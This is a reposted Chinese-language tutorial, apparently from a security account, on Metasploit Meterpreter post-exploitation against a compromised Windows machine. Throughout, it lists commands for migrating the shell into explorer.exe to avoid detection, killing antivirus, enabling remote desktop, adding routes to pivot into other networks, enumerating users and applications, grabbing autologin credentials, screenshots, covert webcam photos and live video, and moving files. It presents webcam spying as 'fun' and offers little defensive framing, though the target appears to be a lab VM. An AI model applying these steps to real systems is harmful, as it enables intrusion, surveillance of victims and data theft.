转载自:计算机与网络安全,转载请联系授权
成功地对目标机器攻击渗透后还可以做什么?Metasploit提供了一个非常强大的后渗透工具——Meterpreter,该工具具有多重功能,使后续的渗透入侵变得更容易。获取目标机的Meterpreter Shell后,就进入了Metasploit最精彩的后期渗透利用阶段,后期渗透模块有200多个,Meterpreter有以下优势。
● 纯内存工作模式,不需要对磁盘进行任何写入操作。
● 使用加密通信协议,而且可以同时与几个信道通信。
● 易于在多进程之间迁移。
● 平台通用,适用于Windows、Linux、BSD系统,并支持Intel x86和Intel x64平台。
本文介绍如何利用Meterpreter做好后渗透的准备工作及收集系统各类信息和数据。
1、进程迁移
在刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的,例如攻击者可以利用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动这个Shell,把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得渗透更难被检测到。
输入ps命令获取目标机正在运行的进程,如图1所示。
图1 获取目标机正在运行的进程
输入getpid命令查看Meterpreter Shell的进程号,如图2所示。
图2 查看进程号
可以看到Meterpreter Shell进程的PID为984,Name为138.exe,然后输入migrate 448命令把Shell移动到PID为448的Explorer.exe进程里,因为该进程是一个稳定的应用。
完成进程迁移后,再次输入getpid命令查看Meterpreter Shell的进程号,发现PID已经变成了448,说明已经成功迁移到Explorer.exe进程里,如图3所示。
图3 进程迁移
进程迁移完成后,原先PID为984的进程会自动关闭,如果没有自动关闭可以输入kill 984命令“杀掉”该进程。使用自动迁移进程命令(run post/windows/manage/migrate)后,系统会自动寻找合适的进程然后迁移,如图4所示。
图4 自动进行进程迁移
如图4所示,系统已经自动把原来PID为1808的进程迁移到308中。
2、系统命令
获得了稳定的进程后,接下来收集系统信息。
先输入sysinfo命令查看目标机的系统信息,例如操作系统和体系结构,如图5所示。
图5 查看系统信息
输入run post/windows/gather/checkvm命令检查目标机是否运行在虚拟机上,如图6所示。
图6 查看是否为虚拟机
可以看到当前目标机正运行在一个VMware虚拟机上。
现在检查目标机是否正在运行,输入idletime命令后可以看到目标机最近的运行时间,如图7所示。
图7 查看运行时间
可以看到目标机正在运行,而且已运行了29分钟16秒。
接着输入route命令查看目标机完整的网络设置,如图8所示。
图8 查看完整网络设置
除此之外,可以输入background命令将当前会话放到后台,此命令适合在多个Meterpreter会话的场景下使用。还可以输入getuid命令查看当前目标机器上已经渗透成功的用户名,如图9所示。
图9 查看当前权限
接着输入run post/windows/manage/killav命令关闭目标机系统杀毒软件,如图10所示。
图10 关闭杀毒软件
输入run post/windows/manage/enable_rdp命令启动目标机的远程桌面协议,也就是常说的3389端口,如图11所示。
图11 启动远程桌面
可以看到,我们已经成功地启动了远程桌面。
然后输入run post/windows/manage/autoroute命令查看目标机的本地子网情况,如图12所示。
图12 查看网络结构
接着进行跳转,先输入background命令将当前Meterpreter终端隐藏在后台,然后输入route add命令添加路由,添加成功后输入route print命令查看,具体操作如图13所示。
图13 添加路由
可以看到一条地址为192.168.172.0的路由已经被添加到已攻陷主机的路由表中,然后就可以借助被攻陷的主机对其他网络进行攻击了。
接着输入run post/windows/gather/enum_logged_on_users命令列举当前有多少用户登录了目标机,如图14所示。
图14 列举当前登录的用户
可以看到系统有shuteer、test、Administrator三个用户,而且Administrator目前登录了系统。
列举了用户之后,继续输入run post/windows/gather/enum_applications命令列举安装在目标机上的应用程序,如图15所示。
图15 列举应用程序
很多用户习惯将计算机设置为自动登录,下面这个命令可以抓取自动登录的用户名和密码,如图16所示。
图16 抓取自动登录的用户名和密码
可以看到,当前没有抓到任何信息。此时就需要用到扩展插件Espia,使用前要先输入load espia命令加载该插件,然后输入screengrab命令就可以抓取此时目标机的屏幕截图,如图17所示。
图17 抓取目标机的屏幕截图(1)
抓取成功后就生成了一个名为ojJUEbgq的图片,保存在root目录下。这里输入screenshot命令也可以达到同样的效果,如图18所示。
图18 抓取目标机的屏幕截图(2)
下面介绍几个好玩的命令,查看目标机有没有摄像头的命令为webcam_list,如图19所示。
图19 查看目标机是否有摄像头
接着输入webcam_snap命令打开目标机摄像头,拍一张照片,如图20所示。
图20 抓取摄像头的照片
拍摄成功后可以看到截图同样也保存在root目录下,我们打开看看,如图21所示。
图21 查看抓取的照片
输入webcam_stream命令甚至还可以开启直播模式,如图22所示。
图22 抓取视频
用浏览器打开上面给出的地址,如图23所示。
图23 查看抓取的视频
还可以输入shell命令进入目标机Shell下面,如图24所示。
图24 进入目标机Shell
最后输入exit命令停止Meterpreter会话,如图25所示。该命令还可用于停止Shell会话并返回Meterpreter。
图25 退出Shell
3、文件系统命令
Meterpreter也支持各种文件系统命令,用于搜索文件并执行各种任务,例如搜索文件、下载文件及切换目录等,相对来说操作比较简单。常用的文件系统命令及其作用如下所示。
pwd或getwd:查看当前处于目标机的哪个目录,如图26所示。
图26 查看目标机的当前目录
getlwd:查看当前处于本地的哪个目录,如图27所示。
图27 查看本地的当前目录
ls:列出当前目录中的所有文件,如图28所示。
图28 列出当前目录中的所有文件
cd:切换目录,如图29所示。
图29 切换目录
search-f*.txt-d c::可以搜索C盘中所有以“.txt”为扩展名的文件,其中-f参数用于指定搜索文件模式,-d参数用于指定在哪个目录下进行搜索,如图30所示。
图30 搜索指定类型的文件
download c:test.txt/root:下载目标机C盘的test.txt文件到攻击机root下,如图31所示。
图31 下载文件
upload/root/test.txt c::上传攻击机root目录下的test.txt文件到目标机C盘下,如图32所示。
图32 上传文件
使用上述命令搜索已被攻陷的目标机,可以获得更多关于目标机的信息。Meterpreter还包含很多文件系统命令,建议多加尝试。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论